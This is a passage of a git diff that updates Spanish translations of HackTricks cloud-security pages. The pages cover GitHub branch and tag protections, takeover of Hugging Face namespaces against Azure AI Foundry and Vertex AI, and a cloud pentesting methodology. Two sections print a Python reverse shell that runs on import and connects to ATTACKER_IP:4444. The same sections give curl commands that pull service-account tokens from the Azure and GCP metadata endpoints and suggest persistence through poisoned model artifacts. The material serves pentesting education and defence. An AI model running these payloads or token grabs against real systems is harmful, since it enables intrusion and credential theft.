pertenece. +No es **posible ejecutar un Github Action de una organización dentro de una máquina self-hosted** de una organización diferente porque **se genera un token único para el Runner** al configurarlo para saber a qué runner pertenece. -Si el **Github Runner personalizado está configurado en una máquina dentro de AWS o GCP** por ejemplo, la Action **podría tener acceso al metadata endpoint** y **robar el token de la service account** con la que se ejecuta la máquina. +Si el custom **Github Runner está configurado en una máquina dentro de AWS o GCP** por ejemplo, la Action **podría tener acceso al metadata endpoint** y **robar el token de la service account** con la que la máquina está ejecutándose. ### Git Action Compromise -Si se permiten todas las actions (o una action maliciosa), un usuario podría usar una **Github action** que sea **maliciosa** y **comprometería** el **container** donde se está ejecutando. +Si todas las actions (o una action maliciosa) están permitidas, un usuario podría usar una **Github action** que sea **maliciosa** y **comprometer** el **contenedor** donde se está ejecutando. > [!CAUTION] -> Una ejecución de una **malicious Github Action** podría ser **abusada** por el atacante para: +> Una **Github Action maliciosa** podría ser **abusada** por el atacante para: > -> - **Robar todos los secrets** a los que la Action tiene acceso -> - **Moverse lateralmente** si la Action se ejecuta dentro de una **infraestructura de terceros** donde se puede acceder al SA token usado para ejecutar la máquina (probablemente vía el metadata service) +> - **Robar todos los secretos** a los que la Action tenga acceso +> - **Moverse lateralmente** si la Action se ejecuta dentro de una **infraestructura de terceros** donde se puede acceder al token de la SA usado para ejecutar la máquina (probablemente vía el metadata service) > - **Abusar del token** usado por el **workflow** para **robar el código del repo** donde se ejecuta la Action o **incluso modificarlo**. ## Branch Protections -Las branch protections están diseñadas para **no dar control total de un repositorio** a los usuarios. El objetivo es **poner varios métodos de protección antes de que sea posible escribir código en una rama**. +Las protecciones de rama están diseñadas para **no dar control completo de un repositorio** a los usuarios. El objetivo es **poner varios métodos de protección antes de poder escribir código dentro de alguna rama**. Las **branch protections de un repositorio** se pueden encontrar en _https://github.com/\/\/settings/branches_ > [!NOTE] -> No es **posible establecer una branch protection a nivel de organización**. Así que todas deben declararse en cada repo. +> No es **posible establecer una protección de rama a nivel de organización**. Por lo tanto, todas deben declararse en cada repo. -Se pueden aplicar diferentes protecciones a una rama (por ejemplo a master): +Diferentes protecciones pueden aplicarse a una rama (como a master): -- Puedes **requerir un PR antes de mergear** (así no puedes mergear código directamente en la rama). Si esto está seleccionado, otras protecciones pueden estar en vigencia: -- **Require a number of approvals**. Es muy común requerir 1 o 2 personas adicionales para aprobar tu PR para que un solo usuario no pueda mergear código directamente. -- **Dismiss approvals when new commits are pushed**. Si no, un usuario puede aprobar código legítimo y luego agregar código malicioso y mergearlo. -- **Require approval of the most recent reviewable push**. Garantiza que cualquier nuevo commit después de una aprobación (incluyendo pushes de otros colaboradores) re-dispare la revisión, de modo que un atacante no pueda empujar cambios después de la aprobación y mergearlos. -- **Require reviews from Code Owners**. Al menos 1 code owner del repo necesita aprobar el PR (por lo que usuarios "aleatorios" no pueden aprobarlo) -- **Restrict who can dismiss pull request reviews.** Puedes especificar personas o teams permitidos para dismiss pull request reviews. -- **Allow specified actors to bypass pull request requirements**. Estos usuarios podrán saltarse las restricciones anteriores. -- **Require status checks to pass before merging.** Algunas checks deben pasar antes de poder mergear el commit (como una GitHub App que reporte resultados SAST). Consejo: asigna las checks requeridas a una GitHub App específica; de lo contrario cualquier app podría falsificar la check vía la Checks API, y muchos bots aceptan directivas de salto (por ejemplo, "@bot-name skip"). -- **Require conversation resolution before merging**. Todos los comentarios en el código deben resolverse antes de que el PR pueda ser mergeado. -- **Require signed commits**. Los commits deben estar firmados. -- **Require linear history.** Evita que commits de merge sean empujados a las ramas que coinciden. -- **Include administrators**. Si esto no está activado, los admins pueden eludir las restricciones. -- **Restrict who can push to matching branches**. Restringe quién puede enviar un PR. +- Puedes **requerir un PR antes de hacer merge** (para que no puedas fusionar código directamente sobre la rama). Si esto está seleccionado, pueden aplicarse otras protecciones: +- **Requerir un número de aprobaciones**. Es muy común requerir 1 o 2 personas adicionales para aprobar tu PR de modo que un solo usuario no pueda fusionar código directamente. +- **Descartar aprobaciones cuando se empujan nuevos commits**. Si no, un usuario puede aprobar código legítimo y luego añadir código malicioso y hacer merge. +- **Requerir la aprobación del push revisable más reciente**. Asegura que cualquier commit nuevo después de una aprobación (incluyendo pushes de otros colaboradores) re-dispare la revisión para que un atacante no pueda empujar cambios post-aprobación y fusionar. +- **Requerir revisiones de Code Owners**. Al menos 1 code owner del repo debe aprobar el PR (para que usuarios "aleatorios" no puedan aprobarlo). +- **Restringir quién puede descartar revisiones de pull request.** Puedes especificar personas o equipos permitidos para descartar revisiones. +- **Permitir actores especificados para omitir los requisitos de pull request.** Estos usuarios podrán eludir las restricciones previas. +- **Requerir que los status checks pasen antes de fusionar.** Algunas comprobaciones deben pasar antes de poder mergear el commit (como una GitHub App que reporte resultados SAST). Consejo: vincula los checks requeridos a una GitHub App específica; de lo contrario, cualquier app podría suplantar el check vía la Checks API, y muchos bots aceptan directivas de skip (p. ej., "@bot-name skip"). +- **Requerir resolución de conversaciones antes de fusionar.** Todos los comentarios en el código deben resolverse antes de que el PR pueda ser merged. +- **Requerir commits firmados.** Los commits deben estar firmados. +- **Requerir historial lineal.** Evita que commits de merge sean empujados a ramas que coincidan. +- **Incluir administradores.** Si esto no está activado, los admins pueden eludir las restricciones. +- **Restringir quién puede pushear a ramas coincidentes.** Restringe quién puede enviar un PR. > [!NOTE] -> Como puedes ver, incluso si logras obtener credenciales de un usuario, **los repos podrían estar protegidos evitando que empujes código a master**, por ejemplo para comprometer la pipeline CI/CD. +> Como puedes ver, incluso si logras obtener credenciales de un usuario, **los repos pueden estar protegidos evitando que hagas push a master** por ejemplo para comprometer el pipeline CI/CD. ## Tag Protections -Los tags (como latest, stable) son mutables por defecto. Para imponer un flujo de four‑eyes en las actualizaciones de tags, protege los tags y encadena protecciones a través de environments y ramas: +Los tags (como latest, stable) son mutables por defecto. Para imponer un flujo de cuatro ojos en las actualizaciones de tags, protege los tags y encadena protecciones a través de environments y ramas: -1) En la regla de protección de tag, habilita **Require deployments to succeed** y exige un deployment exitoso a un environment protegido (por ejemplo, prod). -2) En el environment de destino, restringe **Deployment branches and tags** a la rama de release (por ejemplo, main) y opcionalmente configura **Required reviewers** con **Prevent self-review**. -3) En la rama de release, configura las branch protections para **Require a pull request**, establece approvals ≥ 1, y habilita tanto **Dismiss approvals when new commits are pushed** como **Require approval of the most recent reviewable push**. +1) En la regla de protección de tags, habilita **Require deployments to succeed** y exige un despliegue exitoso a un environment protegido (p. ej., prod). +2) En el environment objetivo, restringe **Deployment branches and tags** a la rama de release (p. ej., main) y, opcionalmente, configura **Requerir revisores** con **Prevent self-review**. +3) En la rama de release, configura las protecciones de rama para **Requerir un pull request**, establece aprobaciones ≥ 1 y habilita tanto **Descartar aprobaciones cuando se empujan nuevos commits** como **Requerir la aprobación del push revisable más reciente**. -Esta cadena impide que un solo colaborador retaguee o publique forzosamente releases editando el workflow YAML, ya que las puertas de deployment se aplican fuera de los workflows. +Esta cadena evita que un único colaborador vuelva a etiquetar o publique forzadamente releases editando los YAML del workflow, ya que las puertas de despliegue se hacen cumplir fuera de los workflows. ## References diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index 52b7c1b91..e1b0f6447 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -1,4 +1,4 @@ -# Az - Post Exploitation +# Az - Post-explotación {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md index 998392370..b9aaebdbe 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md @@ -4,15 +4,15 @@ ## Escenario -- Azure AI Foundry Model Catalog incluye muchos modelos de Hugging Face (HF) para despliegue con un solo clic. -- Los identificadores de modelo HF son Author/ModelName. Si un author/org de HF es eliminado, cualquiera puede volver a registrar ese author y publicar un modelo con el mismo ModelName en la ruta legacy. -- Pipelines y catálogos que obtienen por nombre solamente (sin commit pinning/integrity) resolverán a repos controlados por el atacante. Cuando Azure despliega el modelo, el código loader puede ejecutarse en el entorno del endpoint, otorgando RCE con los permisos de ese endpoint. +- Azure AI Foundry Model Catalog incluye muchos modelos de Hugging Face (HF) para despliegue con un clic. +- Los identificadores de modelos HF son Author/ModelName. Si un author/org de HF es eliminado, cualquiera puede volver a registrar ese author y publicar un modelo con el mismo ModelName en la ruta heredada. +- Pipelines y catálogos que tiran solo por nombre (sin commit pinning/integrity) resolverán a repositorios controlados por el atacante. Cuando Azure despliega el modelo, el código del loader puede ejecutarse en el entorno del endpoint, otorgando RCE con los permisos de ese endpoint. Casos comunes de HF takeover: -- Ownership deletion: Old path 404 until takeover. -- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path. +- Ownership deletion: la ruta antigua devuelve 404 hasta el takeover. +- Ownership transfer: la ruta antigua responde 307 hacia el nuevo author mientras el author antiguo exista. Si el author antiguo es posteriormente eliminado y registrado de nuevo, el redirect falla y el repo del atacante sirve en la ruta heredada. -## Identificación de espacios de nombres reutilizables (HF) +## Identifying Reusable Namespaces (HF) ```bash # Check author/org existence curl -I https://huggingface.co/ # 200 exists, 404 deleted/available @@ -23,12 +23,12 @@ curl -I https://huggingface.co// ``` ## Flujo de ataque de extremo a extremo contra Azure AI Foundry -1) En el Catálogo de Modelos, encuentra modelos HF cuyos autores originales fueron eliminados o transferidos (autor antiguo eliminado) en HF. -2) Vuelve a registrar el autor abandonado en HF y recrea el ModelName. -3) Publica un repo malicioso con código loader que se ejecuta on import o requiere trust_remote_code=True. -4) Despliega el Author/ModelName legacy desde Azure AI Foundry. La plataforma descarga el repo del atacante; el loader se ejecuta dentro del contenedor/VM del endpoint de Azure, provocando RCE con los permisos del endpoint. +1) En el Model Catalog, busca modelos HF cuyos autores originales fueron eliminados o transferidos (autor antiguo eliminado) en HF. +2) Vuelve a registrar al autor abandonado en HF y recrea el ModelName. +3) Publica un repo malicioso con código loader que se ejecuta al import o que requiere trust_remote_code=True. +4) Despliega el Author/ModelName legado desde Azure AI Foundry. La plataforma descarga el repo del atacante; el loader se ejecuta dentro del contenedor/VM del endpoint de Azure, causando RCE con los permisos del endpoint. -Fragmento de payload de ejemplo ejecutado on import (solo para demostración): +Fragmento de payload de ejemplo ejecutado al import (solo para demostración): ```python # __init__.py or a module imported by the model loader import os, socket, subprocess, threading @@ -46,35 +46,35 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1": threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() ``` Notas -- Las implementaciones de AI Foundry que integran HF suelen clonar e importar módulos de repositorio referenciados por la configuración del modelo (p. ej., auto_map), lo que puede desencadenar la ejecución de código. Algunas rutas requieren trust_remote_code=True. -- El acceso normalmente coincide con los permisos de la managed identity/service principal del endpoint. Trátalo como un initial access foothold para acceso a datos y movimiento lateral dentro de Azure. +- Las implementaciones de AI Foundry que integran HF típicamente clonan e importan módulos de repo referenciados por la configuración del modelo (p. ej., auto_map), lo que puede desencadenar ejecución de código. Algunas rutas requieren trust_remote_code=True. +- El acceso normalmente coincide con los permisos del managed identity/service principal del endpoint. Trátalo como un initial access foothold para data access y lateral movement dentro de Azure. ## Post-Exploitation Tips (Azure Endpoint) -- Enumera las variables de entorno y los endpoints MSI en busca de tokens: +- Enumera variables de entorno y endpoints MSI en busca de tokens: ```bash # Azure Instance Metadata Service (inside Azure compute) curl -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" ``` -- Comprueba el almacenamiento montado, los artefactos del modelo y los servicios de Azure accesibles con el token adquirido. -- Considera la persistencia dejando poisoned model artifacts si la plataforma vuelve a obtener desde HF. +- Verifique el almacenamiento montado, los artefactos del modelo y los servicios de Azure accesibles con el token adquirido. +- Considere la persistencia dejando artefactos de modelo envenenados si la plataforma los vuelve a obtener desde HF. -## Guía defensiva para usuarios de Azure AI Foundry +## Orientación defensiva para usuarios de Azure AI Foundry -- Fija los modelos por commit al cargarlos desde HF: +- Fije los modelos por commit al cargarlos desde HF: ```python from transformers import AutoModel m = AutoModel.from_pretrained("Author/ModelName", revision="") ``` -- Replicar modelos HF verificados en un registro interno de confianza y desplegarlos desde allí. -- Escanear continuamente codebases y defaults/docstrings/notebooks en busca de Author/ModelName hard-coded que hayan sido eliminados/transferidos; actualizar o fijar. +- Espejar modelos HF verificados en un registro interno de confianza y desplegar desde allí. +- Escanear continuamente repositorios de código y defaults/docstrings/notebooks en busca de Author/ModelName codificados en duro que hayan sido eliminados/transferidos; actualizar o fijar. - Validar la existencia del autor y la procedencia del modelo antes del despliegue. ## Heurísticas de reconocimiento (HTTP) -- Autor eliminado: página del autor 404; ruta heredada del modelo 404 hasta la toma de control. -- Modelo transferido: ruta heredada 307 al nuevo autor mientras el autor antiguo existe; si el autor antiguo más tarde se elimina y se vuelve a registrar, la ruta heredada sirve contenido del atacante. +- Autor eliminado: la página del autor devuelve 404; la ruta heredada del modelo devuelve 404 hasta que se produzca una toma de control. +- Modelo transferido: la ruta heredada responde 307 hacia el nuevo autor mientras que el autor antiguo existe; si el autor antiguo es eliminado más tarde y vuelve a registrarse, la ruta heredada sirve contenido del atacante. ```bash curl -I https://huggingface.co// | egrep "^HTTP|^location" ``` diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md index 53ce6c304..a5c3d08a9 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -5,19 +5,19 @@ ## Escenario - Vertex AI Model Garden permite el despliegue directo de muchos modelos de Hugging Face (HF). -- Los identificadores de modelo de HF son Author/ModelName. Si un author/org en HF es eliminado, el mismo nombre de author puede ser registrado de nuevo por cualquiera. Los atacantes pueden entonces crear un repo con el mismo ModelName en la ruta heredada. -- Pipelines, SDKs o catálogos cloud que obtienen por nombre únicamente (sin pinning/integrity) cargarán el repo controlado por el atacante. Cuando el modelo se despliega, loader code de ese repo puede ejecutarse dentro del contenedor del endpoint de Vertex AI, produciendo RCE con los permisos del endpoint. +- Los identificadores de modelo de HF son Author/ModelName. Si un author/org en HF es eliminado, el mismo nombre de author puede ser re-registrado por cualquiera. Un atacante puede entonces crear un repo con el mismo ModelName en la ruta legacy. +- Pipelines, SDKs o catálogos cloud que obtienen por nombre solamente (sin pinning/integrity) descargarán el repo controlado por el atacante. Cuando el modelo se despliega, el loader code de ese repo puede ejecutarse dentro del contenedor del endpoint de Vertex AI, dando RCE con los permisos del endpoint. -Dos casos comunes de takeover en HF: -- Eliminación de propiedad: la ruta antigua devuelve 404 hasta que alguien vuelve a registrar al author y publica el mismo ModelName. -- Transferencia de propiedad: HF emite 307 redirects desde el antiguo Author/ModelName al nuevo owner mientras el antiguo author exista. Si el antiguo author es eliminado más tarde y re-registrado por un atacante, la cadena de redirects se rompe y el repo del atacante responde en la ruta heredada. +Two common takeover cases on HF: +- Ownership deletion: La ruta antigua devuelve 404 hasta que alguien vuelve a registrar al author y publica el mismo ModelName. +- Ownership transfer: HF emite 307 redirects desde el antiguo Author/ModelName al nuevo author. Si el antiguo author es luego eliminado y re-registrado por un atacante, la cadena de redirects se rompe y el repo del atacante sirve en la ruta legacy. -## Identificando espacios de nombres reutilizables (HF) +## Identificando namespaces reutilizables (HF) -- Autor antiguo eliminado: la página del author devuelve 404; la ruta del model puede devolver 404 hasta el takeover. -- Modelos transferidos: la ruta del modelo antiguo emite 307 hacia el nuevo owner mientras el author antiguo exista. Si el author antiguo se elimina más tarde y se re-registra, la ruta heredada resolverá al repo del atacante. +- Old author deleted: la página del author devuelve 404; la ruta del modelo puede devolver 404 hasta el takeover. +- Transferred models: la ruta del modelo antigua emite 307 al nuevo owner mientras el antiguo author existe. Si el antiguo author es posteriormente eliminado y re-registrado, la ruta legacy resolverá al repo del atacante. -Comprobaciones rápidas con curl: +Quick checks with curl: ```bash # Check author/org existence curl -I https://huggingface.co/ @@ -28,20 +28,20 @@ curl -I https://huggingface.co// # 307 = redirect to new owner (transfer case) # 404 = missing (deletion case) until someone re-registers ``` -## Flujo end-to-end Attack contra Vertex AI +## Flujo de ataque de extremo a extremo contra Vertex AI -1) Descubrir namespaces de modelos reutilizables que Model Garden lista como deployable: -- Encontrar modelos HF en Vertex AI Model Garden que aún aparecen como “verified deployable”. -- Verificar en HF si el autor original fue eliminado o si el modelo fue transferido y el autor antiguo fue eliminado después. +1) Descubrir espacios de nombres de modelos reutilizables que Model Garden lista como desplegables: +- Encontrar modelos HF en Vertex AI Model Garden que todavía aparecen como “verified deployable”. +- Verificar en HF si el autor original fue eliminado o si el modelo fue transferido y el autor anterior fue posteriormente eliminado. 2) Volver a registrar al autor eliminado en HF y recrear el mismo ModelName. 3) Publicar un repo malicioso. Incluir código que se ejecute al cargar el modelo. Ejemplos que comúnmente se ejecutan durante la carga de modelos en HF: - Efectos secundarios en __init__.py del repo -- Código personalizado modeling_*.py o de procesamiento referenciado por config/auto_map -- Rutas de código que requieren trust_remote_code=True en pipelines de Transformers +- Código personalizado modeling_*.py o procesamiento referenciado por config/auto_map +- Rutas de código que requieren trust_remote_code=True en Transformers pipelines -4) Un deployment de Vertex AI del legacy Author/ModelName ahora tira del repo del atacante. El loader se ejecuta dentro del contenedor del endpoint de Vertex AI. +4) Una implementación de Vertex AI del Author/ModelName legado ahora descarga el repo del atacante. El loader se ejecuta dentro del contenedor del endpoint de Vertex AI. 5) El payload establece acceso desde el entorno del endpoint (RCE) con los permisos del endpoint. @@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1": threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() ``` Notas -- Los loaders en entornos reales varían. Muchas integraciones Vertex AI HF clonan e importan módulos del repo referenciados por la configuración del modelo (p. ej., auto_map), lo que puede desencadenar ejecución de código. Algunos usos requieren trust_remote_code=True. -- El endpoint típicamente se ejecuta en un contenedor dedicado con alcance limitado, pero es un punto de apoyo inicial válido para acceso a datos y movimiento lateral en GCP. +- Los loaders del mundo real varían. Muchas integraciones de Vertex AI HF clonan e importan módulos del repo referenciados en la config del modelo (p. ej., auto_map), lo que puede desencadenar ejecución de código. Algunos usos requieren trust_remote_code=True. +- El endpoint suele ejecutarse en un contenedor dedicado con alcance limitado, pero es un punto de apoyo inicial válido para el acceso a datos y movimiento lateral en GCP. -## Consejos de posexplotación (Vertex AI Endpoint) +## Post-Exploitation Tips (Vertex AI Endpoint) -Una vez que el código se está ejecutando dentro del contenedor del endpoint, considera: -- Enumerar variables de entorno y metadata en busca de credenciales/tokens -- Acceder a almacenamiento adjunto o a artefactos del modelo montados -- Interactuar con Google APIs usando la identidad de la cuenta de servicio (Document AI, Storage, Pub/Sub, etc.) -- Persistencia en el artefacto del modelo si la plataforma vuelve a clonar el repo +Una vez que el código se esté ejecutando dentro del contenedor del endpoint, considera: +- Enumerar variables de entorno y metadatos en busca de credenciales/tokens +- Acceder a almacenamiento adjunto o a los artefactos del modelo montados +- Interactuar con Google APIs mediante la identidad de la cuenta de servicio (Document AI, Storage, Pub/Sub, etc.) +- Persistencia en el artefacto del modelo si la plataforma vuelve a descargar el repo -Enumera la metadata de la instancia si es accesible (dependiente del contenedor): +Enumerar metadatos de la instancia si son accesibles (depende del contenedor): ```bash curl -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token ``` -## Orientación defensiva para usuarios de Vertex AI +## Guía defensiva para usuarios de Vertex AI -- Anclar modelos por commit en los HF loaders para evitar reemplazos silenciosos: +- Fijar modelos por commit en HF loaders para prevenir reemplazos silenciosos: ```python from transformers import AutoModel m = AutoModel.from_pretrained("Author/ModelName", revision="") ``` -- Espejar modelos HF verificados en un almacén/registro interno de artefactos de confianza y desplegar desde allí. -- Escanear continuamente las bases de código y las configs en busca de Author/ModelName codificados que hayan sido eliminados/transferidos; actualizar a los nuevos espacios de nombres o fijarlos a un commit. -- En Model Garden, verificar la procedencia del modelo y la existencia del autor antes del despliegue. +- Replica modelos verificados de HF en un almacén/registro interno de artefactos de confianza y despliega desde allí. +- Escanea continuamente las bases de código y las configuraciones en busca de Author/ModelName codificados que hayan sido eliminados/transferidos; actualiza a los nuevos namespaces o fíjalos por commit. +- En Model Garden, verifica la procedencia del modelo y la existencia del autor antes del despliegue. -## Heurísticas de reconocimiento (HTTP) +## Recognition Heuristics (HTTP) -- Autor eliminado: página del autor 404; ruta de modelo heredada 404 hasta la toma de control. -- Modelo transferido: la ruta heredada responde 307 al nuevo autor mientras el autor antiguo existe; si el autor antiguo se elimina y vuelve a registrarse más tarde, la ruta heredada sirve contenido del atacante. +- Autor eliminado: la página del autor 404; la ruta antigua del modelo 404 hasta la toma de control. +- Modelo transferido: la ruta antigua redirecciona 307 hacia el nuevo autor mientras el autor antiguo existe; si el autor antiguo luego es eliminado y re-registrado, la ruta antigua sirve contenido del atacante. ```bash curl -I https://huggingface.co// | egrep "^HTTP|^location" ``` ## Referencias cruzadas -- Consulte la metodología general y las notas sobre la cadena de suministro: +- Ver la metodología más amplia y notas sobre la cadena de suministro: {{#ref}} ../../pentesting-cloud-methodology.md diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 0ccd52433..d1d4317e0 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,40 +1,40 @@ -# Metodología de Pentesting Cloud +# Pentesting Cloud Methodology {{#include ../banners/hacktricks-training.md}}
-## Metodología Básica +## Basic Methodology -Cada cloud tiene sus particularidades pero en general hay algunas **cosas comunes que un pentester debe comprobar** al evaluar un entorno cloud: +Cada cloud tiene sus propias peculiaridades pero en general hay unas pocas **cosas comunes que un pentester debe comprobar** al evaluar un entorno cloud: -- **Comprobaciones de benchmark** -- Esto te ayudará a **entender el tamaño** del entorno y los **servicios usados** -- También te permitirá encontrar algunas **mala configuraciones rápidas** ya que puedes ejecutar la mayoría de estas pruebas con **herramientas automatizadas** -- **Enumeración de servicios** -- Probablemente no encontrarás muchas más malas configuraciones aquí si realizaste correctamente las comprobaciones de benchmark, pero puede que encuentres algunas que no se buscaban en las pruebas de benchmark. -- Esto te permitirá saber **qué se está usando exactamente** en el env cloud +- **Benchmark checks** +- Esto te ayudará a **entender el tamaño** del entorno y **los servicios usados** +- También te permitirá encontrar algunas **configuraciones erróneas rápidas** ya que puedes realizar la mayoría de estas pruebas con **herramientas automatizadas** +- **Services Enumeration** +- Probablemente no encontrarás muchas más configuraciones erróneas aquí si realizaste correctamente las pruebas de benchmark, pero podrías encontrar algunas que no se buscaron en el test de benchmark. +- Esto te permitirá saber **qué se está usando exactamente** en el entorno cloud - Esto ayudará mucho en los siguientes pasos -- **Comprobar activos expuestos** -- Esto se puede hacer durante la sección anterior, necesitas **encontrar todo lo que potencialmente está expuesto** a Internet de alguna forma y cómo puede ser accedido. -- Aquí estoy tomando **infraestructura expuesta manualmente** como instancias con páginas web u otros puertos expuestos, y también otros **servicios gestionados por cloud que pueden configurarse** para estar expuestos (como DBs o buckets) -- Luego debes comprobar **si ese recurso puede ser expuesto o no** (¿información confidencial? ¿vulnerabilidades? ¿mala configuración en el servicio expuesto?) -- **Comprobar permisos** -- Aquí debes **identificar todos los permisos de cada role/user** dentro del cloud y cómo se usan -- ¿Demasiadas cuentas con **altos privilegios** (controlan todo)? ¿Claves generadas no usadas?... La mayoría de estas comprobaciones deberían haberse hecho ya en las pruebas de benchmark -- Si el cliente está usando OpenID o SAML u otra **federación** puede que necesites pedirles más **información** sobre **cómo se asigna cada role** (no es lo mismo que el role admin esté asignado a 1 usuario que a 100) -- No es suficiente con identificar qué usuarios tienen permisos **admin** "\*:\*". Hay muchas **otras permisos** que dependiendo de los servicios usados pueden ser muy **sensibles**. -- Además, existen **posibles privesc** para seguir abusando de permisos. Todas estas cosas deben tenerse en cuenta y **tantos caminos de privesc como sea posible** deberían ser reportados. -- **Comprobar integraciones** -- Es muy probable que **integraciones con otras clouds o SaaS** se estén usando dentro del env cloud. +- **Check exposed assets** +- Esto puede hacerse durante la sección anterior, necesitas **identificar todo lo que potencialmente está expuesto** a Internet de alguna forma y cómo puede accederse. +- Aquí me refiero a **infraestructura expuesta manualmente** como instancias con páginas web u otros puertos expuestos, y también a otros **cloud managed services que pueden ser configurados** para estar expuestos (como DBs o buckets) +- Luego debes comprobar **si ese recurso puede estar expuesto o no** (¿información confidencial? ¿vulnerabilidades? ¿configuraciones erróneas en el servicio expuesto?) +- **Check permissions** +- Aquí debes **averiguar todos los permisos de cada role/user** dentro del cloud y cómo se usan +- ¿Demasiadas cuentas con **altos privilegios** (controlan todo)? ¿Claves generadas sin usar?... La mayoría de estas comprobaciones deberían haberse hecho ya en los tests de benchmark +- Si el cliente está usando OpenID o SAML u otra **federation** puede que necesites pedirles más **información** sobre **cómo se asigna cada role** (no es lo mismo que el role admin esté asignado a 1 usuario que a 100) +- **No basta con encontrar** qué usuarios tienen permisos de admin "\*:\*". Hay muchos **otros permisos** que dependiendo de los servicios usados pueden ser muy **sensibles**. +- Además, hay **posibles formas de privesc** a seguir abusando de permisos. Todas estas cosas deben tenerse en cuenta y **deben reportarse tantas rutas de privesc como sea posible**. +- **Check Integrations** +- Es muy probable que **se usen integraciones con otras clouds o SaaS** dentro del entorno cloud. - Para **integraciones del cloud que estás auditando** con otra plataforma deberías notificar **quién tiene acceso para (ab)usar esa integración** y deberías preguntar **qué tan sensible** es la acción que se realiza.\ -Por ejemplo, quién puede escribir en un bucket de AWS del que GCP está obteniendo datos (pregunta qué tan sensible es la acción en GCP tratando esos datos). -- Para **integraciones dentro del cloud que estás auditando** desde plataformas externas, deberías preguntar **quién tiene acceso externamente para (ab)usar esa integración** y revisar cómo se están usando esos datos.\ +Por ejemplo, quién puede escribir en un AWS bucket del que GCP está obteniendo datos (pregunta qué tan sensible es la acción en GCP al tratar esos datos). +- Para **integraciones dentro del cloud que estás auditando** desde plataformas externas, deberías preguntar **quién tiene acceso externo para (ab)usar esa integración** y comprobar cómo se están usando esos datos.\ Por ejemplo, si un servicio está usando una imagen Docker alojada en GCR, deberías preguntar quién tiene acceso para modificarla y qué información sensible y accesos obtendrá esa imagen cuando se ejecute dentro de un cloud AWS. -## Herramientas Multi-Cloud +## Multi-Cloud tools -Hay varias herramientas que se pueden usar para probar diferentes entornos cloud. Los pasos de instalación y los enlaces se indicarán en esta sección. +Hay varias herramientas que pueden usarse para testear diferentes entornos cloud. Los pasos de instalación y los enlaces se indicarán en esta sección. ### [PurplePanda](https://github.com/carlospolop/purplepanda) @@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -Admite **AWS, GCP & Azure**. Consulta cómo configurar cada proveedor en [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) +Soporta **AWS, GCP & Azure**. Consulta cómo configurar cada proveedor en [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -171,6 +171,8 @@ steampipe check all Comprobar todos los proyectos Para comprobar todos los proyectos necesitas generar el archivo `gcp.spc` indicando todos los proyectos a probar. Puedes seguir las indicaciones del siguiente script + +
```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,9 +196,9 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-Para consultar **otros GCP insights** (útiles para enumerar servicios) usa: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Para consultar **otros insights de GCP** (útiles para enumerar servicios) usa: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -Para revisar el código Terraform de GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Para revisar código Terraform de GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) Más plugins de GCP para Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} @@ -225,7 +227,7 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -Para revisar código Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +Para revisar el código Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) Más plugins AWS de Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} @@ -238,11 +240,11 @@ Requiere python2.7 y parece no estar mantenido. ### Nessus -Nessus incluye un escaneo _**Audit Cloud Infrastructure**_ que soporta: AWS, Azure, Office 365, Rackspace, Salesforce. Se requieren algunas configuraciones adicionales en **Azure** para obtener un **Client Id**. +Nessus tiene un escaneo _**Audit Cloud Infrastructure**_ que 